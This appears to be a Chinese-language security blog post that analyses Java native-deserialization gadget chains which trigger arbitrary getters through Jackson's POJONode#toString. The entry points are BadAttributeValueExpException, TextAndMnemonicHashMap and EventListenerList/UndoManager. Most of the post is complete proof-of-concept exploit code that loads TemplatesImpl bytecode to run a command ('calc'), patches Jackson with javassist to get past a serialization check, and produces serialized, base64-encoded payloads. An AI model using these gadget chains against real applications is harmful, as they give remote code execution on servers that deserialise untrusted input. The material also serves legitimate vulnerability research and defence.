jackson 原生反序列化触发 getter 方法
-
jackson的POJONode方法可以任意调用getter
-
jackson序列化会任意调用getter
分析
jackson 序列化会调用任意 getter 方法,jackson 反序列化也会任意调用 getter ,这两个都不需要多说什么了,在前面的 jackson 反序列化中的 TemplatesImpl 链中已经证实过了。
现在只需要讨论 POJONode#toString
--> jackson自身提供的反序列化 --> 任意调用Getter
POJONode 中不存在有 toString 方法的实现,但是其父类的父类存在,
跟进
看到调用了nodeToString 方法,
调用了 writeValueAsString
方法进行序列化这里就会调用 getter 方法,然后剩下的就是加载恶意类进行命令执行了。
poc.java
package org.example; import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*; import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.CookieHandler; import static org.example.ser.setValue; public class poc { public static void main(String[] args)throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("gaoren"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "a"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode node = new POJONode(templates); BadAttributeValueExpException val; val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, node); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(val); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = (Object)ois.readObject(); }
}
运行确实弹出计算机,但是看调用栈发现根本就没有调用 tostring 方法,发现在 ObjectOuptputStream#writeObject0
抛出异常,
如果序列化的类实现了 writeReplace
方法,将会在序列化过程中调用它进行检查,而在 POJONode
的父类 BaseJsonNode
中就实现了这个方法,在这个方法的调用过程中抛出了异常,使得序列化过程中断
我们可以通过删除这个方法来跳过这个过程,但是发现 idea 无法修改源码,那么用 javassist 进行动态修改
package org.example; import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*; import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.CookieHandler; import static org.example.ser.setValue; public class poc { public static void main(String[] args)throws Exception { ClassPool pool = ClassPool.getDefault(); ClassPool.getDefault().insertClassPath(new LoaderClassPath(ser.class.getClassLoader())); CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); // 获取原方法 CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace"); // 修改方法名 originalMethod.setName("Replace"); // 加载修改后的类 ctClass.toClass(); CtClass clazz = pool.makeClass("gaoren"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "a"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode node = new POJONode(templates); BadAttributeValueExpException val; val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, node); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(val); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = (Object)ois.readObject(); }
}
最后成功调用到 getter 方法弹出计算机。
思考
既然能调用 getter 方法,那么可用的就不只有了 getoutputProperties
,如还可以调用 signedObject#getObject
进行二次反序化。
参考:https://xz.aliyun.com/t/12509
参考:jackson原生反序列化触发getter方法的利用与分析
TextAndMnemonicHashMap
位置:javax.swing.UIDefaults.TextAndMnemonicHashMap
可以看到继承 hashmap 可以进行序列化,然后调用了key的tostring。
然后需要调用其 get 方法,可以通过 java.util.AbstractMap#equals
直接进行调用
所以直接构造(入口直接照搬 cc7 就行了)
package org.example;
import java.io.*;
import java.lang.reflect.*;
import java.util.Hashtable;
import java.util.Map; public class test { public static void main(String[] args)throws Exception { Class tex = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"); Constructor con=tex.getDeclaredConstructor(null); con.setAccessible(true); Map texmap1 =(Map) con.newInstance(); Map texmap2 =(Map) con.newInstance(); texmap1.put("yy",1); texmap2.put("zZ",1); Hashtable hashtable = new Hashtable(); hashtable.put(texmap1,1); hashtable.put(texmap2,1); serilize(hashtable); deserilize("111.bin"); } public static void serilize(Object obj)throws IOException { ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin")); out.writeObject(obj); } public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{ ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename)); Object obj=in.readObject(); return obj; }
}
然后现在试试调用 POJONode#toString
方法来进行命令执行
poc.java
package org.example; import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map; public class test2 { public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); ClassPool.getDefault().insertClassPath(new LoaderClassPath(ser.class.getClassLoader())); CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); // 获取原方法 CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace"); // 修改方法名 originalMethod.setName("Replace"); // 加载修改后的类 ctClass.toClass(); CtClass clazz = pool.makeClass("gaoren"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytess = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytess); setValue(templates, "_name", "a"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode node = new POJONode(templates); Hashtable hashMap = makeHashMapByTextAndMnemonicHashMap(node); serilize(hashMap); deserilize("111.bin"); } public static void serilize(Object obj)throws IOException { ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin")); out.writeObject(obj); } public static Hashtable makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{ Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap")); Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap")); tHashMap1.put(toStringClass, "123"); tHashMap2.put(toStringClass, "12"); Hashtable hashtable = new Hashtable(); hashtable.put(tHashMap1,1); hashtable.put(tHashMap2,1); tHashMap1.put(toStringClass, null); tHashMap2.put(toStringClass, null); setFieldValue(tHashMap1, "loadFactor", 0.75f); setFieldValue(tHashMap2, "loadFactor", 0.75f); return hashtable; } public static Object getObjectByUnsafe(Class clazz) throws Exception{ Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafe.get(null); return unsafe.allocateInstance(clazz); } public static void setFieldValue(Object obj, String key, Object val) throws Exception{ Field field = null; Class clazz = obj.getClass(); while (true){ try { field = clazz.getDeclaredField(key); break; } catch (NoSuchFieldException e){ clazz = clazz.getSuperclass(); } } field.setAccessible(true); field.set(obj, val); } public static void setValue(Object obj,String fieldName,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); } public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{ ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename)); Object obj=in.readObject(); return obj; }
}
注意到关键部分
tHashMap1.put(toStringClass, "123");
tHashMap2.put(toStringClass, "12");
Hashtable hashtable = new Hashtable();
hashtable.put(tHashMap1,1);
hashtable.put(tHashMap2,1); tHashMap1.put(toStringClass, null);
tHashMap2.put(toStringClass, null);
setFieldValue(tHashMap1, "loadFactor", 0.75f);
setFieldValue(tHashMap2, "loadFactor", 0.75f);
EventListenerList
gadget:
EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>
来到 EventListenerList.readObject
看到调用了 add 方法,跟进
在 Object 进行拼接的时候会自动触发该对象的 toString
方法,现在只需要看调用哪个 tostring 方法就行了,
看到 l 需要能转型为 EventListener
类的,这里直接选择 javax.swing.undo.UndoManage
类
该类实现了 UndoableEditListener 接口,而该接口继承 java.util.EventListener
,javax.swing.undo.UndoManager#toString
方法
看到 limit
和 indexOfNextAdd
都是 int
属性,所以拼接也不会调用什么。看到前面会调用其父类的 tostring 方法,所以继续向上看
其继承于 CompoundEdit
类,跟进 CompoundEdit#tostring
方法
这里的 inProgress
是 boolean
属性,但 edits
是个对象
所以在拼接的时候会自动触发 Vector#tostring
方法,
然后跟进其父类的 tostring 方法,但是其父类没有 tostring 方法,那么就调用其父类的父类也就是 AbstractCollection#toString
方法
发现 StringBuilder
的 append
方法,
最后看到 obj 可控,那么就能随意调用 tostring 方法了,
poc
package org.example; import com.fasterxml.jackson.databind.node.POJONode; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64;
import java.util.Map;
import java.util.Vector; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*; import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager; public class test { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); ClassPool.getDefault().insertClassPath(new LoaderClassPath(ser.class.getClassLoader())); CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode"); // 获取原方法 CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace"); // 修改方法名 originalMethod.setName("Replace"); // 加载修改后的类 ctClass.toClass(); CtClass clazz = pool.makeClass("gaoren"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytess = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytess); setValue(templates, "_name", "a"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode pojoNode = new POJONode(templates); //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString() EventListenerList list = new EventListenerList(); UndoManager manager = new UndoManager(); Vector vector = (Vector) getFieldValue(manager, "edits"); vector.add(pojoNode); setFieldValue(list, "listenerList", new Object[] { Map.class, manager }); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(list); String ser = Base64.getEncoder() .encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(ser); byte[] decode = Base64.getDecoder().decode(ser); ByteArrayOutputStream baos = new ByteArrayOutputStream(); baos.write(decode); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream( baos.toByteArray())); objectInputStream.readObject(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Class<?> clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException { Class clazz = obj.getClass(); while (clazz != null) { try { Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); } catch (Exception e) { clazz = clazz.getSuperclass(); } } return null; } public static void setValue(Object obj,String fieldName,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj,value); }
}